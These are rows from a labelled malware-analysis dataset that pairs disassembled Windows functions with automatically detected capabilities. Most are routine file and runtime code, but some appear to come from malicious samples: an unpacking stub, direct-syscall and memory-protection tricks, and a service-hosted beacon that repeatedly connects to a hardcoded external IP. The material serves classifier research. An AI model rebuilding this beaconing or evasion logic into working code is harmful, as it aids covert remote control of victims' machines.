joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005bc0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rsi, r8
mov rbx, rdx
mov r14, rcx
xor dil, dil
mov rcx, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x140005bfb
mov rcx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005c0f
mov edi, eax
shr edi, 4
and dil, 1
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x140005dce
cmp qword [rbx + 0x18], 0x10
jb 0x140005c34
mov rbx, qword [rbx]
mov qword [rsp + 0x30], 1
lea rax, [0x1400087d8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rcx, [rsp + 0x40]
call fcn.1400058f0
nop
mov r9, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140005c69
mov r9, qword [rsi]
mov rsi, qword [rsi + 0x10]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140005cb6
lea rax, [rcx + rsi]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
lea rax, [rsp + 0x40]
jmp 0x140005cc8
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.140005350
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005d3d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400067cc
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov byte [r14], dil
cmp eax, 0xffffffff
setne al
mov byte [r14 + 1], al
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140005da7
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005da2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005da2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400067cc
mov rax, r14
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140006650
mov rbx, qword [rsp + 0xc8]
add rsp, 0x90
pop r14
pop rdi
pop rsi
ret
call fcn.1400011b0
int3
Function at 0x14000710c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007156
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007156
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007156
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007156
cmp dword [rcx + 0x84], 0xe
jbe 0x140007156
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007158
xor al, al
add rsp, 0x28
ret
Function at 0x140008e00
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140008e28
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140008e4e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140008e50
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140008ea9
test ecx, ecx
jle 0x140008e89
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140008ea9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140008ea9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140008ed0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140008ef2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140008f08
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140008f24
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140008f26
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140008f62
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140008ffe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140008f9d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140008fde
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140008ffe
cmp rbx, rax
ja 0x140008fb0
test rbx, rbx
je 0x140008ffe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140009430
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000945d
xor eax, eax
jmp 0x1400095c9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140009497
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140009497
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400095c9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400095bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400094da
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140009505
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400095c1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009574
sub eax, 1
je 0x140009574
cmp eax, 2
jne 0x1400095bc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400095c1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400095a2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400095bc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400095c1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400223f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x14000a840
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x14000a874
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14000a860
ret
Function at 0x14000c0e0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140030008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000c1b3
cmp byte [rcx + 0x71], 0
je 0x14000c1b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000c1af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000c174
sub eax, 1
je 0x14000c178
cmp eax, 2
jne 0x14000c1af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400223f0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000c1a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000c1af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000c15c
xor al, al
jmp 0x14000c15c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400223f0
add rsp, 0x60
pop rbx
ret
Function at 0x14001f720
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14001f7ec
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14001f7ec
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14001f805
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14001f7dc
cmp byte [rax], 0x5c
jne 0x14001f7d6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x14001f7d6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14001f7c2
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x14001f7d3
test r8b, 0x10
jne 0x14001f7d6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x14001f7d6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140019f50
test edi, edi
jne 0x14001f740
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140019f40
int3

Function at 0x140021b4c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140021bd0
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140025620]
cmp byte [rcx + rax], 0
je 0x140021bd0
dec r8
sub rdx, 1
jne 0x140021bb6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140023070
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400230ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400230ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400230ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400230ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400230ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400230bc
xor al, al
add rsp, 0x28
ret
Function at 0x53fe30
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x53fe3d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x53fe4d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x53fe35
lea eax, [rcx + 1]
jmp 0x53fe5b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x53fe6e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x53fe54
sub eax, 3
jb 0x53fe8e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x53fedd
sar eax, 1
movsxd rbp, eax
jb 0x53fec4
jmp 0x53fe9c
add ebx, ebx
jne 0x53fe9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x53fec4
inc ecx
add ebx, ebx
jne 0x53feaa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x53fec4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x53febd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x53feac
add ecx, 2
jmp 0x53fec9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0053fdf2
jmp 0x53fe3d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x65c00
mov dl, 0x12
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x53ff29
cmp rsi, rcx
jae 0x53ff31
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x53ff10
cmp al, 0x8f
ja 0x53ff10
cmp byte [rsi - 2], 0xf
je 0x53ff16
sub al, 0xe8
cmp al, 1
ja 0x53fefa
cmp rsi, rcx
jae 0x53ff31
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x53ff00
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x53ff31
lodsb al, byte [rsi]
jmp 0x53ff10
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x13c000]
mov eax, dword [rdi]
or eax, eax
je 0x53ff8e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x140000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x53ff3e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x53ff88
mov qword [rbx], rax
add rbx, 8
jmp 0x53ff5e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x53ffc8
cmp al, 0xef
ja 0x53ffba
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x53ff9a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x53ffa9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x54001c
sub rsp, 0xffffffffffffff80
jmp 0x45a900
Function at 0x180002af0
Capabilities:
Connect socket
Create thread
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x9f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x9e0], rax
mov bl, 1
mov esi, 2
xor edi, edi
nop dword [rax]
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x180007720], eax
test eax, eax
jne 0x180002ce7
lea edx, [rax + 1]
mov ecx, esi
lea r8d, [rax + 6]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x180007058], rax
cmp rax, 0xffffffffffffffff
je 0x180002ce1
xorps xmm0, xmm0
mov dword [rsp + 0x50], reloc.WS2_32.dll_recv
lea rax, [rsp + 0x50]
xor r8d, r8d
movups xmmword [rsp + 0x58], xmm0
lea r9, [rsp + 0x58]
mov word [rsp + 0x58], si
mov edx, esi
mov qword [rsp + 0x20], rax
lea rcx, str.141.11.159.27
call qword [sym.imp.WS2_32.dll_WSAStringToAddressA]
mov dword [0x180007720], eax
test eax, eax
je 0x180002ba9
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x180002cc3
mov ecx, 0x9f1
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x180007058]
lea rdx, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x5a], ax
call qword [sym.imp.WS2_32.dll_connect]
mov dword [0x180007720], eax
cmp eax, 0xffffffff
jne 0x180002bf9
mov rcx, qword [0x180007058]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x180007058], 0xffffffffffffffff
jmp 0x180002cc3
mov qword [rsp + 0x28], rdi
lea r9, [0x180007058]
lea r8, [0x180002370]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, str.update
lea rcx, [rsp + 0x210]
call fcn.180002150
lea rax, [rsp + 0x210]
mov qword [rsp + 0x30], rdi
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], socket
inc r8
cmp byte [rax + r8], dil
jne 0x180002c50
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x30]
call fcn.180002fd0
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x210]
mov rcx, qword [0x180007058]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180002cc1
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002cbc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002cda
call fcn.1800031a0
xor bl, bl
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
jne 0x180002b20
xor eax, eax
jmp 0x180002cec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x9e0]
xor rcx, rsp
call fcn.180003180
lea r11, [rsp + 0x9f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180002e00
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x180002e28
xor eax, eax
lea r8, [0x180002d20]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x180002ea0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor r8d, r8d
lea rdx, [0x180002e40]
lea rcx, str.Wsfmcv
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov qword [0x180007728], rax
test rax, rax
je 0x180002f00
lea rdx, [0x180007038]
mov dword [0x18000703c], 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor eax, eax
lea r8, [0x180002d20]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x38
ret
Function at 0x140003940
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003974
cmp word [rcx], 0x5a4d
jne 0x140003974
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003974
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003974
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003880
test eax, eax
jne 0x140003990
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400038f0
test rax, rax
je 0x140003985
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000413c
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004040
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140003fe0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400044a4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14000eb58]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14000eb54]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400044f2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400044ea
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400045d9
inc ebx
add rax, 0x28
jmp 0x1400044ca
mov rcx, r12
call fcn.140004cd1
mov rbp, rax
test rax, rax
jne 0x140004511
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004440
movsxd rbx, ebx
mov rax, qword [0x14000eb58]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004d7f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000eb58]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004573
mov rax, qword [0x14000eb58]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004440
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400045d3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400045d3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000eb58]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400045d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004440
inc dword [0x14000eb54]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004a00
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000ebc0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000eba0]
test rbx, rbx
je 0x140004a4c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
